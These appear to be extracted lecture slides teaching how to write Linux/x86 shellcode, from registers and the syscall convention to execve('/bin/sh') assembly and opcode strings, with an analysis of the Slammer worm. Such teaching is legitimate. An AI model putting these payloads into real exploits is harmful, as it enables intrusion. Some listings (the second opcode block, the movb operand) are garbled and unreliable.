Shellcode
Outline

- Shellcode Basics
- Advanced Shellcode
What is shellcode?

- Machine code used as the payload in the exploitation of a software bug
- Whenever altering a program flow, shellcodes become its natural continuation
- Common in exploitation of vulnerabilities such as stack- and heap-based buffer overflows as well as format strings attacks
What shellcode can do?

- Providing access to the attacked system
  - Spawning `/bin/sh` [or] `cmd.exe` (local shell)
  - Binding a shell to a port (remote shell)
  - Adding root/admin user to the system
  - `Chmod()`’ing `/etc/shadow` to be writeable

- Anything that you want, as long as you can code it
  - Usually coded in assembly language
Challenges of writing a shellcode

- **Position-independent**
  - Injected code may be executed in any position
  - The positions of library functions (such as system, exec, etc.) are unknown and they are determined dynamically

- **Self-contained**
  - There is no known address for variables
  - We have to create almost everything on the overwritten buffer

- **Other constraints**
  - Most attacks on C programs are performed using input strings
    - C considers a zero byte as end-of-string marker
How can we write a shellcode

- Understanding IA-32 architecture
  - General registers
  - Memory layout
  - Stack organization
  - System call convention

- Understanding/Writing your own shellcode
The CPU’s registers

- **The Intel 32-bit x86 registers:**

  - **EAX**: accumulator
  - **EBX**: base
  - **ECX**: counter
  - **EDX**: data
  - **ESP**: stack pointer
  - **EBP**: base pointer
  - **ESI**: source index
  - **EDI**: destination index
  - **EIP**: instruction pointer
The CPU’s registers

Useful instructions include:
- **mov**: moves a value
- **int**: issues an interrupt
- **push**: pushes a value onto the stack
- **pop**: pops a value off the stack
- **add**: adds a value to the target
- **sub**: substracts a value from the target
- **call**: calls a subprocedure
- **jmp**: jumps to another address
- **nop**: does nothing
How can we write a shellcode

- Understanding IA-32 architecture
  - General registers
  - Memory layout
  - Stack organization
  - System call convention

- Understanding/Writing your own shellcode
Process Memory Layout

Stack

Heap

BSS

Data

Text (Read-only)

Higher memory addresses

Process Memory Layout

- text
  - Program code; marked read-only, so any attempts to write to it will result in segmentation fault

- data segment
  - Global and static variables

- stack
  - Dynamic variables

Lower memory addresses
Process Runtime -- Linux/x86 Example

- **x86**
  - 32-bit von Neumann machine
  - $2^{32} \approx 4\text{GB}$ memory locations
- **stack**
  - $\leq 0xbfffffff$, Grows downwards
  - Environment variables, Program parameters
  - Automatically allocated stack variables
  - Activation records
- **heap**
  - Dynamic allocation
  - Explicitly through `malloc`, `free`

```c
int main(int argc, char *argv[], char *env[]) {
    return 0;
}
```
Process Runtime -- Linux/x86 Example (II)

- **.bss**
  - runtime allocation of space
  - RWX

- **.data**
  - compile-time space allocation, and initialisation values
  - RWX

- **.text**
  - program code
  - runtime DLLs
  - RO, X

### Data Section
// static & global initialised data

### Text Section
// executable machine code

---

**kernel space**

- 0xffffffff
- env[]
- argv[]
- char *env[]
- char *argv[]
- int argc

**runtime stack**

**runtime heap**

**.bss**

**.data**

**.text**

**0x08048000**

**0x00000000**
Stack organization

- **Local Variables**
- **Old Frame pointer**
- **Return address**
- **Parameters**

High memory address

Low memory address

Stack frame i

Stack frame i+1
Example

```c
void main() {
    int x;
    x = 0;
    function(1,2,3);
    x = 1;
    printf("%d\n",x);
}
```
void function (int a, int b, int c) {
    char buffer1[5];
    char buffer2[10];
}

Example
How can we write a shellcode

- Understanding IA-32 architecture
  - General registers
  - Memory layout
  - Stack organization
  - System call convention

- Understanding/Writing your own shellcode
System Call Convention

- A system call is an instrument for user-mode processes to request a service from the kernel.
- No function addresses need to be known to execute a system call.
  - Contrary to library functions.
- System calls are specified via function numbers.
  - /usr/include/asm/unistd.h
System Call Convention

- System calls need a special invocation mechanism:
  - System Call Number ➔ EAX
    - Linux: the list of assigned numbers is defined in the file `/usr/include/asm/unistd.h`
  - Parameters ➔ EBX, ECX, EDX …
    - The parameters are put into EBX, ECX, EDX, ESI, EDI (in this order, left to right).
    - Additional parameters need to be passed by memory reference (EBP will contain the address).
  - Instruction ➔ INT 0x80 or sysenter
  - Return Value ← EAX
    - Negative values denote errors
Example 1: Calling exit

- Invoking “exit” system call:

  \[
  \begin{align*}
  &\text{xorl } \%\text{ebx}, \%\text{ebx} \quad /* \text{ ebx } = 0 \quad */ \\
  &\text{mov } $0x1, \%\text{eax} \quad /* \text{ eax } = 1 \quad */ \\
  &\text{int } $0x80 \quad /* \text{ interrupt } \quad */
  \end{align*}
  \]
Example 2: Calling execve

```c
int execve( const char *filename,
            char *const argv[],
            char *const envp[]);
```

- `filename` points to the executable’s name (`EBX`)
- `argv` points to an array of arguments to the executable (`ECX`):
  - The first element must be a pointer to the executable’s name
  - The last element must be zero
- `envp` points to an array of environment strings (`EDX`):
  - The array may contain just the terminating zero element
  - The last element must be zero
How can we write a shellcode

- Understanding IA-32 architecture
  - General registers
  - Memory layout
  - Stack organization
  - System call convention

- Writing your own shellcode
Writing your own shellcode

- **Step 1** ➔ Write shellcode in C
- **Step 2** ➔ Convert the shellcode written in C to assembly
- **Step 3** ➔ Find the corresponding opcodes and fill the buffer
- **Step 4** ➔ Test the shellcode
The normal and most common type of shellcode is a straight /bin/sh execve() call.

```c
void main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```
Step 2: Convert it to assembly (1)

- **System Call Convention**
  - System call number ➔ EAX
    - Linux: the assignment is defined in the file /usr/include/asm/unistd_32.h
  - Parameters ➔
    - EBX, ECX, EDX, ESI, EDI, EBP
    - Or stack

- **INT 0x80**
  - The instruction used to invoke the system call
Step 2: Convert it to assembly (2)

```c
void main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```
Step 2: Convert it to assembly (3)

- Have the string "/bin/sh" somewhere in memory
- Write the address of that into EBX
- Create a char ** which holds the address of the former "/bin/sh" and the address of a NULL Write the address of that char ** into ECX.
- Write zero into EDX
- Issue INT 0x80 and generate the trap.
Step 2: Convert it to assembly (4)

```
xorl %eax, %eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %eax
pushl %ebx
movl %esp, %ecx
xorl %edx, %edx
movb $0xb, %eax
int $0x80
```
Step 3: Shellcode in raw opcodes

- Convert the assembly instructions to the appropriate opcodes:

```c
char sc[] =
"\x31\xc0"   /* xor %eax, %eax */
"\x50"    /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f*/
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f*/
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80"; /* int $0x80 */
```
char sc[ ]="...";           /*shell opcode*/
main()
{
    void (*fp) (void);
    fp = (void *)sc;
    fp();
}
char sc[] =
"... ...
"eb 14"
"31 c0"
"5b"
"8d 4b 14"
"89 19"
"89 43 18"
"88 43 07"
"31 d2"
"b0 0b"
"cd 80"
"e8 e7 ff ff ff"
"2f 62 69 6e 3f 73 68"
"90 90 90 90 90 90 90 90"

/* jmp <shellcode+0x68> */
/* xorl %eax,%eax */
/* popl %ebx */
/* leal 0x14(%ebx),%ecx */
/* movl %ebx,(%ecx) */
/* movl %eax,0x18(%ebx) */
/* movb %al,0x7(%ebx) */
/* xorl %edx,%edx */
/* movb $0xb,%al */
/* int $0x80 */
/* call <shellcode+0x54> */

"/bin/sh"
Slammer Worms (Jan., 2003)

- MS SQL Server 2000 receives a request of the worm
  - SQLSERVR.EXE process listens on UDP Port 1434
Slammer’s code is 376 bytes!

This byte signals the SQL Server to store the contents of the packet in the buffer.

The 0x01 characters overflow the buffer and spill into the stack right up to the return address.

This is the first instruction to get executed. It jumps control to here.

The UDP/IP packet header.

Main loop of Slammer: generate new random IP address, push arguments onto stack, call send method, loop around.

This is the first instruction to get executed. It jumps control to here.

NOP slide.

Restore payload, set up socket structure, and get the seed for the random number generator.
Memory Layout and Control Flow

SQLSORT.DLL

42B0C9DC:
JMP ESP

Import
Address
Directory

ESP = Stack Pointer Register

Top of stack

WORM CODE

String 1
buff[128]

RETURN ADDRESS
ARG0
ARG1
ARG2

LOCAL VARIABLES

_LoadLibraryA()

375 bytes

_LoadLibraryA()

GetProcAddress()
Advanced Shellcode

- Why we need them?
  - Additional features
  - Hostile environments

- Additional Features
  - Wait until MSF

- Hostile Environment
  - Shellcode w/ only alphanumeric characters
  - Multi-platform shellcode
  - Any others?